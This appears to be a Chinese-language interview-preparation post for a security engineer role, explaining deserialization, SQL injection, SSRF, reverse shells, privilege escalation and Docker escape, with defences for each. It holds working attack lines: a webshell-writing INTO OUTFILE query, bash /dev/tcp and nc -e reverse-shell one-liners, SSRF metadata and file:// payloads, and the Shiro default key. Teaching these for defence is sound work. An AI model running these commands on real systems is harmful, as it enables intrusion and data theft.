網絡安全領域各種資源,學習文檔,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各種好玩的項目及好用的工具,歡迎關注。
目錄
?攜程旅游-基礎安全工程師
反序列化原理
核心原理
擴展分析
SQL注入本質
核心原理
擴展分析
SQL注入寫馬流程
核心步驟
擴展分析
Outfile與Dumpfile的區別
寬字節截斷原理
核心邏輯
擴展分析
SSRF的利用和防御
利用方式
防御方案
SSRF無回顯如何利用
Shiro利用失敗分析
文件上傳防御
SQLMap原理與XSS掃描器對比
SQLMap核心邏輯
XSS掃描器原理
反彈Shell檢測與原理
檢測手段
反彈Shell原理
Agent信息采集與進程樹構建
采集信息類型
進程樹構建方法
提權檢測
Docker逃逸原理
隧道本質
甲方代碼審計與紅隊漏洞挖掘差異
漏掃與入侵檢測的權衡
IAST主動與被動的區別
?攜程旅游-基礎安全工程師
反序列化原理 sql注入本質 sql注入寫馬流程 outfile與dumpfile的區別 -前者支持多行和自定義編碼 寬字節截斷原理 SSRF的利用和防御 SSRF無回顯如何利用 shiro利用失敗,如何分析 文件上傳如何防御 sqlmap原理,如何分析 文件上傳如何防御 sqlmap原理,常規xss掃描器原理 反彈shell如何檢測 反彈shell的原理 作為一個agent 需要采集哪些信息,如何構建進程樹 提權如何檢測 docker逃逸原理 隧道本質是什么 甲方的代碼審計與紅隊漏洞挖掘有哪些差異 如何權衡各種漏掃或入侵檢測的漏報和誤報 IAST主動與被動的區別
助用戶理解并應對面試。
反序列化原理
核心原理
序列化與反序列化的定義
序列化是將對象狀態轉換為可存儲或傳輸格式(如JSON、XML、二進制流)的過程,反序列化是其逆向操作。其本質是通過特定協議將內存中的對象結構映射為字節流,便于跨平臺傳輸或持久化存儲。漏洞觸發機制
反序列化漏洞的根源在于:當程序反序列化不可信數據時,若未嚴格校驗數據合法性,攻擊者可能通過構造惡意序列化數據觸發非預期的對象創建、方法調用或代碼執行。例如,Java中通過ObjectInputStream
反序列化時,可能觸發readObject()
方法中的危險邏輯。典型攻擊場景
- 利用鏈構造:攻擊者通過組合目標類庫中的多個類(如Apache Commons Collections的
Transformer
鏈),形成從反序列化入口到危險操作(如Runtime.exec()
)的完整利用鏈。- 動態類加載:某些框架(如XStream)允許通過序列化數據指定加載遠程類文件,導致遠程代碼執行(RCE)。
擴展分析
- 防御措施
- 白名單驗證:限制反序列化的類范圍(如Java的
ObjectInputFilter
)。- 簽名校驗:對序列化數據添加數字簽名,防止篡改。
- 禁用危險功能:如關閉Java的
JNDI
遠程類加載功能。- 工具與檢測
- 使用
ysoserial
生成攻擊載荷,通過流量分析或代碼審計識別漏洞點。- 安全框架如
SerialKiller
可攔截惡意反序列化行為。
SQL注入本質
核心原理
輸入作為代碼執行
SQL注入的本質是將用戶輸入拼接到SQL語句中,導致輸入數據被解析為SQL代碼。例如,' OR 1=1 --
閉合原查詢條件,使查詢邏輯失效。漏洞分類
- 聯合查詢注入:通過
UNION
合并惡意查詢。- 布爾盲注:通過頁面響應差異逐位推斷數據。
- 時間盲注:利用
SLEEP()
等函數觸發延遲判斷。攻擊影響
可導致數據泄露、篡改、權限提升,甚至通過xp_cmdshell
執行系統命令。擴展分析
- 防御方案
- 預編譯(參數化查詢):將輸入作為參數而非語句的一部分(如Java的
PreparedStatement
)。- 輸入過濾:過濾敏感字符(如
'
、"
、;
),但需注意轉義規則與編碼問題。- 最小權限原則:數據庫賬戶僅分配必要權限,禁用危險函數。
- 自動化檢測
- 動態掃描:通過
sqlmap
等工具自動化探測注入點。- 靜態分析:使用
Semgrep
檢查代碼中的字符串拼接邏輯。
SQL注入寫馬流程
核心步驟
路徑與權限獲取
- 通過
@@secure_file_priv
查看MySQL導出路徑限制。- 確保數據庫用戶具備
FILE
權限,且目標目錄可寫。文件寫入
使用SELECT '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE '/var/www/shell.php'
將WebShell寫入Web目錄。訪問與利用
通過HTTP請求訪問WebShell,傳遞參數執行命令。擴展分析
- 限制條件
- MySQL需啟用
--secure-file-priv
的非嚴格模式。- 絕對路徑需通過報錯或枚舉獲取(如
load_file()
讀取配置文件)。- 防御手段
- 禁用
FILE
權限,限制數據庫賬戶操作范圍。- 對Web目錄設置不可執行權限。
Outfile與Dumpfile的區別
- 功能差異
- OUTFILE:支持多行數據導出,可指定字段終止符(如
FIELDS TERMINATED BY ','
)和編碼格式。- DUMPFILE:僅導出單行數據,適用于二進制文件(如圖片、可執行文件)。
- 使用場景
- 導出文本:
OUTFILE
適用于CSV、日志等結構化文本。- 導出二進制:
DUMPFILE
用于導出BLOB字段或二進制內容。- 安全限制
兩者均需FILE
權限,且受@@secure_file_priv
路徑限制。
寬字節截斷原理
核心邏輯
編碼漏洞成因
當數據庫使用GBK等寬字節編碼時,若轉義邏輯不當(如PHP的addslashes()
),'
被轉義為\'
(即%5C%27
)。攻擊者輸入%bf%27
,數據庫將%bf%5c
解析為繁體字“縗”,導致%27
('
)未被轉義,從而閉合字符串。利用場景
常用于繞過轉義函數,構造SQL注入或文件上傳漏洞(如截斷文件名a.php%bf.jpg
)。擴展分析
- 防御方案
- 統一使用UTF-8編碼,避免寬字節問題。
- 使用
mysql_real_escape_string()
而非addslashes()
。
SSRF的利用和防御
利用方式
- 內網服務探測
- 訪問
http://127.0.0.1:8080
探測本地服務。- 利用AWS元數據接口
http://169.254.169.254
獲取云服務器敏感信息。- 協議濫用
- File協議:讀取本地文件(
file:///etc/passwd
)。- Dict協議:探測端口信息(
dict://127.0.0.1:6379/info
)。- 遠程代碼執行
結合內網應用的RCE漏洞(如Redis未授權訪問)實現攻擊鏈。防御方案
- 輸入校驗
- 禁止內網IP和特殊協議(如
file://
)。- 使用域名白名單限制訪問范圍。
- 網絡層防護
- 配置防火墻規則,限制應用服務器出站流量。
- 使用代理服務隔離請求來源。
SSRF無回顯如何利用
- DNS帶外(OOB)
構造URL如http://dnslog.cn/record?q=payload
,通過DNS查詢日志獲取數據。- 延遲檢測
通過響應時間差異判斷端口開放狀態(如訪問開放的Redis端口會立即返回錯誤)。- 外部服務交互
利用HTTP服務記錄請求參數(如https://requestbin.com/?data=secret
)。
Shiro利用失敗分析
- 密鑰不匹配
Shiro的RememberMe功能依賴AES加密,若目標修改默認密鑰(kPH+bIxk5D2deZiIxcaaaA==
),則無法解密Cookie。- 依賴庫缺失
利用鏈需特定類庫(如Commons Beanutils),若目標環境未包含則攻擊失敗。- 防御措施生效
- 開啟Shiro的
secureRandom
增強密鑰強度。- 使用WAF攔截惡意請求頭。
文件上傳防御
- 文件類型校驗
- 檢查MIME類型、文件頭(如
FFD8FF
對應JPEG)。- 禁止上傳可執行文件(如
.php
、.jsp
)。- 存儲隔離
- 文件重命名(如UUID),避免路徑遍歷。
- 存儲到非Web目錄,通過代理服務訪問靜態資源。
- 服務端加固
- 設置文件大小限制,禁用危險函數(如
putenv()
)。- 使用沙箱環境處理上傳文件。
SQLMap原理與XSS掃描器對比
SQLMap核心邏輯
- 啟發式探測
通過報錯信息(如You have an error in your SQL syntax
)判斷注入點類型。- Payload生成
針對不同數據庫(MySQL、MSSQL)構造聯合查詢、布爾邏輯等載荷。- 結果提取
利用UNION
查詢、時間盲注逐位提取數據。XSS掃描器原理
- 模糊測試(Fuzzing)
插入<script>alert(1)</script>
等測試向量,檢測是否原樣輸出。- DOM分析
解析JavaScript代碼,檢測document.location
等敏感源。- 自動化驗證
通過瀏覽器引擎(如Headless Chrome)模擬點擊,檢測彈窗行為。
反彈Shell檢測與原理
檢測手段
- 網絡流量分析
- 監控非常規端口的出站連接(如
/bin/bash
連接外部IP的4444端口)。- 識別Shell特征(如
sh -i
、/dev/tcp
)。- 進程監控
- 檢測子進程鏈(如
sshd -> bash -> nc
)。- 使用
auditd
記錄敏感系統調用(execve
)。反彈Shell原理
- 反向連接
受害主機主動連接攻擊者控制的IP和端口,繞過防火墻限制。- 常用命令
- Bash:
bash -i >& /dev/tcp/1.1.1.1/4444 0>&1
- Netcat:
nc -e /bin/sh 1.1.1.1 4444
Agent信息采集與進程樹構建
采集信息類型
- 系統基礎信息
- 操作系統版本、內核參數、環境變量。
- 用戶列表、計劃任務、服務配置。
- 運行時數據
- 進程列表(PID、PPID、命令行參數)。
- 網絡連接(端口、協議、狀態)。
- 安全相關數據
- 文件完整性校驗(如Tripwire)。
- 日志文件(syslog、auth.log )。
進程樹構建方法
- 遍歷/proc目錄
解析/proc/[PID]/stat
獲取父進程ID(PPID),遞歸生成樹狀結構。- 工具輔助
使用pstree
或htop
可視化展示進程關系。
提權檢測
- 內核漏洞檢測
使用uname -a
獲取內核版本,匹配已知漏洞(如DirtyCow)。- SUID/SGID文件檢查
查找具有SUID權限的可執行文件(find / -perm -4000
)。- sudo配置審計
檢查/etc/sudoers
中用戶權限是否過度分配。
Docker逃逸原理
- 特權模式濫用
使用--privileged
啟動容器,攻擊者可通過掛載宿主機目錄(/
)逃逸。- 漏洞利用
利用CVE-2019-5736(runc漏洞)覆蓋宿主機二進制文件。- 配置錯誤
掛載Docker Socket(/var/run/docker.sock
)允許容器內控制宿主機Docker服務。
隧道本質
- 協議封裝
將原始流量封裝在合法協議(如HTTP、DNS)中,繞過防火墻檢測。- 流量轉發
使用工具(如frp
、ngrok
)建立加密通道,將內網服務暴露至公網。
甲方代碼審計與紅隊漏洞挖掘差異
- 目標差異
- 甲方:聚焦SDL(安全開發生命周期),修復潛在風險(如硬編碼密鑰)。
- 紅隊:尋找可利用漏洞(如RCE、SSRF),模擬真實攻擊路徑。
- 方法論
- 甲方:結合SAST/DAST工具,覆蓋全量代碼。
- 紅隊:針對性手工測試,利用0day和邏輯漏洞。
- 輸出結果
- 甲方:生成漏洞報告并推動修復,關注合規性(如GDPR)。
- 紅隊:提供攻擊路徑報告,協助優化防御體系。
漏掃與入侵檢測的權衡
- 誤報處理
- 優化規則庫:通過誤報樣本調整正則表達式閾值。
- 人工驗證:對高風險告警手動確認。
- 漏報應對
- 威脅情報整合:基于最新攻擊模式更新檢測規則。
- 多層防御:結合網絡層、主機層、應用層防護。
- 業務適配
- 根據業務重要性調整檢測靈敏度(如金融系統偏向減少漏報)。
IAST主動與被動的區別
- 主動式(Instrumentation)
- 原理:在應用中插入探針,實時監控運行時的數據流和漏洞。
- 優點:覆蓋率高,可檢測上下文相關漏洞(如業務邏輯錯誤)。
- 缺點:性能損耗大,需適配不同語言框架。
- 被動式(流量分析)
- 原理:通過代理或鏡像流量分析請求/響應,識別漏洞模式。
- 優點:無侵入性,支持多語言應用。
- 缺點:無法檢測未觸發代碼路徑的漏洞。